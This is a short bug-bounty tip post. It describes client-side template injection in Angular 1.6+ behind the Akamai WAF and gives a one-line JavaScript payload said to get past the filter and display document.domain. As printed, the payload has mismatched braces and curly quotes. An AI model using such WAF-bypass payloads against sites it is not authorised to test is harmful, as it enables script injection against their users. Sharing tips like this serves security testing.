WAF bypass by berdzi

Found CSTI in Agnular 1.6+ behind Akami WAF. Here is the bypass to get document.domain:

{{constructor.constructor(‘a=document;confirm(a.domain)’)()}

@bugbounty_tips